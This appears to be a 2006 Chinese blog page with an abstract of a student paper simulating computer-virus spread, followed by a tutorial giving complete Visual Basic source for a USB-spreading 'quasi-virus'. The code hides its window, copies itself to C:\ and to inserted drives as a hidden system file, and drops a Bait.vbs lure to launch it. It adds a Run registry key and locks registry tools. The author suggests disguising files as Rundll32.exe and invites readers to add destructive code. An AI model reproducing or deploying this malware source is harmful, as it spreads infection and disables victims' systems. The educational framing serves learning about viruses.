基于复杂系统理论的计算机病毒传播模型的计算机仿真分析

2006/07/23 | 20:05 | 分类:数学类文档 | 标签: | 2,103次阅读

基于复杂系统理论的计算机病毒传播模型的计算机仿真分析

(北京理工大学2006年全国大学生数学建模竞赛建模辅导选修课程作业)

林健,范舟斌
计算机科学技术学院01110407班

2006年5月

摘要

  现实生活中,存在大量具有众多状态变量、反馈结构复杂、输入与输出呈现非线性特征的复杂系统。现有的理论不能通过简单的公式或统计方法来精确地研究它们的行为。目前人们对复杂系统的描述和研究,主要是将多学科知识综合,结合定性研究和定量分析方法,对低层次子系统进行宏观集成,对系统较高层次部分微观化处理,通过计算机仿真技术建立系统模型并调试模型参数,同时辅以知识工程技术(如专家系统)等。复杂系统理论作为知识爆炸的时代信息整合的工具,是未来科学发展的必然选择。

  本文以计算机病毒传播模型为例,通过设定实时状态参量、状态转移因子,表达计算机病毒传播系统在各个时刻的不同状态和发展趋势。使用计算机编程模拟复杂系统中的诸多因素的相互作用及系统长期演化过程,比较成功地演示了计算机病毒在不同条件下传播的趋势,同时给出了具有针对性的病毒防控方案。计算机仿真方法充分利用了计算机强大的逻辑功能和计算能力,是一种初等的、容易理解的复杂系统分析方法。与传统的微分方程乃至更复杂的数学模型相比,它更注重问题本身的性质,对数学理论的要求相对较低,同时对各类现实问题的适应性和应变性强,是应用领域值得推广的方法。

关键词

  复杂系统,计算机病毒,计算机仿真

全文下载地址:http://files.linjian.org/articles/techreport/virus_model.pdf

用Visual Basic 2005实现通过U盘传播的准计算机病毒

2006/05/24 | 15:36 | 分类:Windows开发 | 标签: | 1,729次阅读

  计算机病毒是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。从执行机理方面,一般分为文件型病毒、引导型病毒、宏病毒、木马病毒、脚本病毒、蠕虫病毒等。计算机病毒具有生命系统所固有的特性——繁殖、机体集成、不可预见性等。它的生命周期也类似于生物病毒,包括潜伏阶段、传染阶段、触发阶段、发作阶段等。因此研究计算机病毒的方法与研究生物病毒有一定的可比性。病毒技术和反病毒技术这对矛盾在不断的斗争中持续发展,是信息社会安全领域的重要课题。

  计算机病毒最初被认为是顶级编程高手的杰作,但随着编程语言的不断高级化、简单化、专用化,一大批“低技术含量”的病毒开始从一些普通计算机用户的键盘下诞生。下面我们来看用Visual Basic 2005实现的一个通过U盘传播的准计算机病毒。之所以称其为“准计算机病毒”,是因为它能够简单地自发传染但可以控制,有演示性的破坏作用但很容易恢复。

  该病毒存在形式为一可执行程序,由于使用Visual Basic 2005编写,要求宿主计算机安装有.NET Framework v2.0。病毒程序一旦运行,会将自身复制到C盘根目录,将复本设置隐藏属性,并在注册表中添加其启动项。染毒的计算机在插入U盘后,病毒随即将自身复制到U盘根目录(设置隐藏属性),同时新建一个用以启动病毒的“诱饵”文件。用户如果在没有染毒的计算机上执行了“诱饵”文件,会使这台计算机也染毒。作为演示性的破坏作用,计算机染毒后注册表会被锁定。

  我们通过流程图直观说明:

  下面就开始最重要的编写阶段:新建一个Visual Basic 2005 Windows Form应用程序。既然做的是病毒,就要需要它在用户不可见的情况下偷偷摸摸运行。因此我们首先设置默认窗体的FormBorderStyle为None,Text为空,Size为(0,0),WindowState为Minimized,ShowInTaskbar为False。这样一来,这个程序运行时用户看不到屏幕上会有什么异常。当然病毒进程在Windows任务管理器以及Alt+Tab的任务菜单中还会出现。要让病毒进程消失,涉及一些高级系统调用,这个例子中就不做了。我们可以采用障眼法,将程序的图标(包括窗体的Icon和应用程序属性中的Icon)设为一个不引人注目的图标(如Windows文件夹图标),骗过粗心的用户:

  再添加一个Timer控件,命名为tmrWatcher,设置其Enabled为True,Interval为5000,用来每隔5秒检查是否有U盘插入。

  在Code窗体中为默认窗体键入如下源代码:

  1. Imports System
  2. Imports System.IO
  3. Imports System.Collections
  4.  
  5. Public Class frmVirus
  6.  
  7.     Private oldDisks As List(Of String) '上一状态的驱动器列表
  8.     Private newDisks As List(Of String) '当前状态的驱动器列表
  9.  
  10.     '初始化驱动器列表
  11.     Private Sub Init()
  12.  
  13.         oldDisks = New List(Of String)
  14.         newDisks = New List(Of String)
  15.  
  16.         Dim di As DriveInfo
  17.         For Each di In My.Computer.FileSystem.Drives
  18.             oldDisks.Add(di.Name)
  19.         Next
  20.  
  21.     End Sub
  22.  
  23.     '检查是否有新的驱动器出现,出现则认为是插入了U盘
  24.     Private Function FindNewDisk() As String
  25.  
  26.         newDisks.Clear()
  27.         Dim di As DriveInfo
  28.         For Each di In My.Computer.FileSystem.Drives
  29.             newDisks.Add(di.Name)
  30.         Next
  31.  
  32.         '一一对照查找当前状态的驱动器有没有在上一状态存在
  33.         Dim i, j As Integer
  34.         Dim found As Boolean
  35.         For i = 0 To newDisks.Count - 1
  36.             found = False
  37.             For j = 0 To oldDisks.Count - 1
  38.                 If newDisks(i) = oldDisks(j) Then
  39.                     found = True
  40.                     Exit For
  41.                 End If
  42.             Next
  43.             If Not found Then
  44.                 Return newDisks(i)  '返回U盘盘符,如“F:\”
  45.             End If
  46.         Next
  47.         Return String.Empty '返回空表示没有新的驱动器出现
  48.  
  49.     End Function
  50.  
  51.     '将病毒体从当前位置复制到参数disk所示的磁盘的根目录
  52.     '(这里简单认为C盘之外的盘符都为U盘)
  53.     Private Sub CopyVirusToDisk(ByVal disk As String)
  54.  
  55.         Dim myname, objname As String
  56.         myname = My.Application.Info.DirectoryPath & "\LynxVirus.exe"
  57.         objname = disk & "\LynxVirus.exe"
  58.  
  59.         If Not File.Exists(objname) Then
  60.             Try
  61.                 '复制自身到目标位置
  62.                 File.Copy(myname, objname, True)
  63.                 '为病毒文件设置“隐藏”、“系统”、“存档”属性,防止被发现
  64.                 File.SetAttributes(objname, FileAttributes.Hidden Or FileAttributes.System Or FileAttributes.Archive)
  65.                 '如果目标位置不是C盘(认为是U盘),则写入一个从U盘启动病毒的“诱饵”文件
  66.                 If disk.ToUpper().Chars(0) <> "C" Then
  67.                     WriteABait(disk)
  68.                 End If
  69.             Catch ex As Exception
  70.             End Try
  71.         End If
  72.  
  73.         '如果当前位置是C盘,则复制之后程序不退出,驻留内存以便向新插入的U盘传染自身
  74.         '如果当前位置不是C盘(认为是U盘),则复制之后启动C盘上的复本,然后退出自身,以便U盘可以正常卸下
  75.         If myname.ToUpper().Chars(0) <> "C" Then
  76.             Dim Info As New System.Diagnostics.ProcessStartInfo()
  77.             Dim Proc As New System.Diagnostics.Process()
  78.             Info.WorkingDirectory = "C:\"
  79.             Info.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
  80.             Info.FileName = "LynxVirus"
  81.             Try
  82.                 Proc = System.Diagnostics.Process.Start(Info)
  83.             Catch ex As Exception
  84.             End Try
  85.             Application.Exit()
  86.         End If
  87.  
  88.     End Sub
  89.  
  90.     '写入一个从U盘启动病毒的“诱饵”文件
  91.     Private Sub WriteABait(ByVal disk As String)
  92.  
  93.         Dim filename As String
  94.         filename = disk & "\Bait.vbs"
  95.  
  96.         Try
  97.             Dim sw As StreamWriter
  98.             sw = File.CreateText(filename)
  99.             '“诱饵”文件通过VBS脚本运行病毒文件
  100.             sw.WriteLine("Set p = WScript.CreateObject(""WScript.Shell"")")
  101.             sw.WriteLine("p.Exec(""LynxVirus"")")
  102.             sw.Flush()
  103.             sw.Close()
  104.         Catch ex As Exception
  105.         End Try
  106.  
  107.     End Sub
  108.  
  109.     '在注册表中添加启动项,使病毒开机自动运行
  110.     Private Sub MakeAutorun()
  111.  
  112.         Try
  113.             My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run\", True).SetValue("LynxVirus", "C:\LynxVirus.exe", Microsoft.Win32.RegistryValueKind.String)
  114.         Catch ex As Exception
  115.         End Try
  116.  
  117.     End Sub
  118.  
  119.     '病毒对计算机的破坏过程
  120.     Private Sub Destroy()
  121.  
  122.         Try
  123.             If My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System\") Is Nothing Then
  124.                 My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\", True).CreateSubKey("System")
  125.             End If
  126.             My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System\", True).SetValue("DisableRegistryTools", 1, Microsoft.Win32.RegistryValueKind.DWord)
  127.         Catch ex As Exception
  128.         End Try
  129.  
  130.     End Sub
  131.  
  132.     '病毒程序启动时的初始化
  133.     Private Sub frmVirus_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  134.  
  135.         CopyVirusToDisk("C:\")
  136.         MakeAutorun()
  137.         Init()
  138.         Destroy()
  139.  
  140.     End Sub
  141.  
  142.     '每隔一定时间检查是否有U盘插入,若有则向新插入的U盘传染病毒
  143.     Private Sub tmrWatcher_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrWatcher.Tick
  144.  
  145.         Dim disk = FindNewDisk()
  146.         If disk <> String.Empty Then
  147.             CopyVirusToDisk(disk)
  148.             Init()
  149.         End If
  150.  
  151.     End Sub
  152.  
  153. End Class

  上面代码中LynxVirus.exe、Bait.vbs分别为病毒文件名和“诱饵”文件名,在实际编写的时候可以改为一些具有欺骗性的名称,如Rundll32.exe、prnmngr.vbs。Destroy()函数是病毒破坏过程,可以自行添加一些潜伏性、触发性功能代码或其它破坏性功能代码。

  这个病毒的主要缺陷是自发传染能力不强,可以自动地从硬盘传向U盘,但不能自动地从U盘传向硬盘。事实上一些通过U盘传染的病毒大都使用Autorun.inf、folder.htt等自动运行和自定义文件夹脚本来复制自身到硬盘。但随着Windows安全性能的提高、用户防范意识的增强,这种传染方式已经在大多数计算机上实效了,无故出现的Autorun.inf、folder.htt等文件反而会引起用户警觉。使用“诱饵”文件诱惑用户运行病毒,需要抓住用户的心理。早期的邮件病毒常用“情书”、“中奖信息”等诱惑用户,现在已不盛行。本病毒使用VBS脚本作为“诱饵”也会引发用户的警觉。用什么方法更具欺骗性,留给大家思考。

  了解了这个病毒的机理,清除它的方法也很简单:只要在Windows任务管理器中结束它的进程,删除C盘下的病毒文件,然后解锁注册表(可以通过REG、VBS脚本或第三方工具,网上介绍很多,这里从略),删除其启动项即可。

  通过这个例子我们可以看出,计算机病毒技术并不神秘。学习一些计算机病毒基础理论,了解病毒破坏和传播的机理,对广大计算机用户是很有必要的。亲自动手编程模拟一个病毒,可以加深对理论知识的理解,同时提高信息安全防范意识。

参考资料:
[1]韩筱卿 等,计算机病毒分析与防范大全,电子工业出版社,2006